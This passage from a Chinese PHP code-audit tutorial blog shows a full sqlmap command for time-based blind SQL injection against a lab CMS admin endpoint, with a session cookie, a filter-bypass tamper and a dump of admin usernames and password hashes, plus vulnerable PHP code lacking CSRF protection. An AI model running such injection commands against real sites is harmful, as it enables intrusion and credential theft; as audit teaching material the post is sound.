主页 > 网络知识 > PHP代码审计之入门实战(5)

PHP代码审计之入门实战(5)

为啥不自己写脚本来注入呢???因为SQLMap本身很强大,这里不需要造轮子,很多人不了解SQLMap,认为现在基本上SQLMap注入不出来啥,实际上还是他们不够了解,SQLMap灵活程度非常高,远比自己造轮子写脚本快的多。下面直接上关键的用法参数吧:

sqlmap -u "http://10.211.55.12//admin.php?/deal/dir-basic/" --cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;" --data="cmd=del_admin&id=3" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

注入结果

 

15797524747117.jpg

 

细节

-u "http://10.211.55.12//admin.php?/deal/dir-basic/"

实际上也可以 保存数据包为文本,然后-r,文本里面手动标 星号

--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

因为这个是后台盲注,所以这里需要Cookie认证一下

--data="cmd=del_admin&id=3"

手动写入POST数据包,将请求中提供对应发送的数据隐式地将 GET 改成 POST

-p "id"

手动指出存在注入的参数

--technique=T

手动指定时间型盲注的检测技术,SQLMap默认检测技术为 BEUSTQ

--random-agent

好习惯,随机user-agent

-v 3

国光自己的习惯,显示已注入的 payloads,国光习惯看SQLMap的payload,看多有助于学习先进的手工注入技术

--tamper="between"

因为这个网站过滤了尖括号,所以介个插件,作用是NOT BETWEEN 0 AND #替换大于号>,BETWEEN # AND #替换等于号=

-D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump

日常操作,这里大家应该很熟悉了,国光就不再BB了

管理员CSRF 漏洞分析

修改管理员密码,没有验证就密码,直接提供新密码,而且没有Token验证来防御CSRF攻击:

admin/moudle/basic/deal.php

function edit_admin() { global $global,$smarty; $adm_id = post('adm_id'); $adm_password = post('adm_password'); $re_password = post('re_password'); $obj = new admin(); $obj->set_where('adm_id = '.$global['admin_id']); $a = $obj->get_one(); $obj->set_where(''); $obj->set_where("adm_id = $adm_id"); $b = $obj->get_one(); $success = 0; if($obj->get_count()) { if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade']) { if(strlen($adm_password) >= 5 && $adm_password == $re_password) { $obj->set_value('adm_password',md5($adm_password)); $obj->edit(); $success = 1; } } } if($success) { $info_text = '修改密码成功'; $link_text = '返回列表页'; $link_href = url(array('channel'=>'basic','mod'=>'admin_list')); }else{ $info_text = '修改密码失败'; $link_text = '返回上一页'; $link_href = url(array('channel'=>'basic','mod'=>'admin_edit')); } $smarty->assign('info_text',$info_text); $smarty->assign('link_text',$link_text); $smarty->assign('link_href',$link_href); }

同理添加管理员也是这样:

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!